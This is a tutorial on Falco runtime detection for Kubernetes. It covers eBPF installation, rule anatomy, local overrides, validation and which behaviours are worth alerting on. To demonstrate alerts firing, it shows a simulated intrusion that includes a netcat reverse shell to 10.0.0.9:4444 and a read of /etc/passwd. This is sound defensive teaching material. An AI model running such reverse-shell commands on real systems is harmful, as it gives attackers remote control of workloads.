Falco & behavioral detection
Syscall rules that catch a shell in a container.
Prevention fails. Not every time, but often enough that a serious cluster has to plan for the moment an attacker is already running code inside a live pod. RBAC (Role-Based Access Control), Pod Security Admission, and NetworkPolicies are the locks on the doors. Falco is the smoke detector. It doesn't stop the break-in. It screams the instant something inside a container starts behaving like a fire.
Falco is the Cloud Native Computing Foundation (CNCF) runtime detection project, and here's how it sees anything at all. A program can't do anything interesting on its own. Every time it wants to do something real, like open a file, start a process, or reach out over the network, it has to ask the Linux kernel to do it for it. That request is a syscall (system call). Falco taps that stream. It uses eBPF (extended Berkeley Packet Filter), a safe way to run tiny sandboxed programs inside the kernel, so it watches syscalls live without patching the kernel or loading a fragile module. A shell that starts in a container, a write under a system binary directory, an outbound connection from a pod that's only meant to listen: each one is a syscall, and Falco sees it the moment it happens, not on the next scan.
# apply: install Falco with the modern eBPF driver (nothing to compile per node)$ helm repo add falcosecurity https://falcosecurity.github.io/charts && helm repo update$ helm install falco falcosecurity/falco -n falco --create-namespace \--set driver.kind=modern_ebpf# verify: the probe attached and every rule file parsed on all nodes$ kubectl logs -n falco ds/falco | grep -Ei "probe|Loading|source"Falco version: 0.40.0 (x86_64)Falco initialized with configuration files:/etc/falco/falco.yaml | schema validation: okLoading rules from:/etc/falco/falco_rules.yaml | schema validation: ok/etc/falco/falco_rules.local.yaml | schema validation: okLoaded event sources: syscallOpening 'syscall' source with modern BPF probe.
A Falco rule has three parts you'll read constantly. The condition is a boolean test over syscall fields and reusable macros (named, prewritten conditions you drop into a rule so you don't rewrite the same logic everywhere). The output is the alert text, with %fields filled in at runtime. The priority is how loud it should be, an ordered scale that runs from DEBUG at the quiet end up through NOTICE, WARNING, ERROR, and CRITICAL to EMERGENCY at the top. The shipped ruleset already covers the classics, so most of the job is reading a rule well enough to trust it, then tuning it. This one fires when a shell starts inside any container that has a terminal attached.
- rule: Terminal shell in containerdesc: A shell was used as the entrypoint or exec target of a container with an attached ttycondition: >spawned_process and containerand shell_procs and proc.tty != 0and container_entrypointand not user_expected_terminal_shell_in_container_conditionsoutput: >A shell was spawned in a container with an attached terminal(user=%user.name container=%container.nameimage=%container.image.repository cmd=%proc.cmdline tty=%proc.tty)priority: NOTICEtags: [maturity_stable, container, shell, mitre_execution, T1059]
Tune in the local file, never the shipped one
The shipped rules file gets overwritten every time you upgrade Falco, so you never edit it in place. Keep your changes in falco_rules.local.yaml instead. Falco reads it last, and when two rules share a name, the one it reads last wins. It's the difference between scribbling in a library book and keeping your notes on a card tucked inside the cover. To change a shipped rule without rewriting the whole thing, modern Falco gives you an override key: you list only the fields you want to touch, and for each one you say whether your value replaces the shipped value or appends to it. Bump the priority, reshape the output, tack on an exception for a process you know is fine, or write something brand new. One habit worth building: validate the file before you trust it. A typo doesn't fail loudly. Falco quietly skips the broken rule, and you lose the detection without ever being told.
# raise a shipped rule and reshape its text without touching its detection logic.# the override key names which fields change and how (replace vs append).- rule: Terminal shell in containerpriority: CRITICAL # shipped default is NOTICEoutput: >Interactive shell opened in a running container(user=%user.name container=%container.nameimage=%container.image.repository cmd=%proc.cmdlinepod=%k8s.pod.name ns=%k8s.ns.name)override:priority: replaceoutput: replace
# validate before Falco reloads: this catches the silent typo the runtime won't$ falco --validate /etc/falco/falco_rules.local.yamlValidating rules file(s):/etc/falco/falco_rules.local.yaml/etc/falco/falco_rules.local.yaml: OkOk# with watch_config_files on (the default), a save hot-reloads in under a minute; no restart$ kubectl logs -n falco ds/falco --since=90s | grep -i reloadRules files changed on disk, reloading Falco engine
What actually earns an alert
Alert on the behaviours an attacker can't cheaply avoid and a healthy workload never shows. A shell opening in a container, and especially in a distroless image that ships no shell to spawn in the first place. A brand-new binary executing that was never part of the image. A package manager running inside a container that's already deployed. A read of /etc/shadow. An outbound connection from a pod that's only ever supposed to accept them. These are high-signal because normal traffic doesn't look like this, which is exactly why read-only, immutable containers make every one of these alarms sharper: the fewer legitimate reasons there are to write a file or spawn a shell, the louder the illegitimate ones get.
# apply: an operator (or an attacker holding a token) drops a shell into a running pod$ kubectl exec -it payments-api -- bash# verify: Falco emits within the second, now at Critical because of your local override15:02:31.4 Critical Interactive shell opened in a running container (user=rootcontainer=payments-api image=registry.internal/payments-api cmd=bashpod=payments-api-7d4b9c ns=payments)# apply: the same session drops a netcat binary into a system path and runs itroot@payments-api:/# cp /tmp/nc /usr/bin/nc && /usr/bin/nc -e /bin/bash 10.0.0.9 4444# verify: a binary that was never in the base image just executed. shipped rule, zero tuning.15:02:58.7 Critical Executing binary not part of base image (proc_exe=/usr/bin/ncprocess=nc command=nc -e /bin/bash 10.0.0.9 4444 container=payments-api user=root)
Prevention will fail. Detection has to assume a live pod is already hostile and ask what that looks like on the wire and in /proc.
Start from high-confidence rules: shell spawn, container drift, sensitive file reads. Expand after you can triage the volume.
Ship alerts to a place humans see within minutes. A perfect rule with a dead webhook is theater.
Map alerts to runbooks: who gets paged, what kubectl commands they run first, and when to isolate a node. Runtime detection without isolation playbooks becomes a chat stream of scary strings. Write the verification command next to the control in the same pull request, and keep the sample output so the next on-call person can tell pass from fail without guessing.
Try this
Trigger a shell in a pod and confirm Falco (or your runtime detector) emits an alert you can map to the pod name.
$ kubectl -n payments exec deploy/payments-api -- /bin/sh -c 'id; cat /etc/passwd | head'uid=10001(nonroot) gid=0(root)...$ kubectl -n falco logs deploy/falco | grep -i "shell\|payments-api" | tail -5Warning Unexpected spawn of a shell in a container namespace=payments pod=payments-api-7d9c4b-xk2m1$ # keep overrides local$ ls /etc/falco/falco_rules.local.yaml/etc/falco/falco_rules.local.yaml
Takeaway
Falco is the smoke detector for syscalls. Tune local rules, alert on shells and unexpected network, and never edit only the vendor file.
falco_rules.local.yaml, but misspell a field name. Falco reloads without error, yet triggering the behaviour produces no alert. What happened?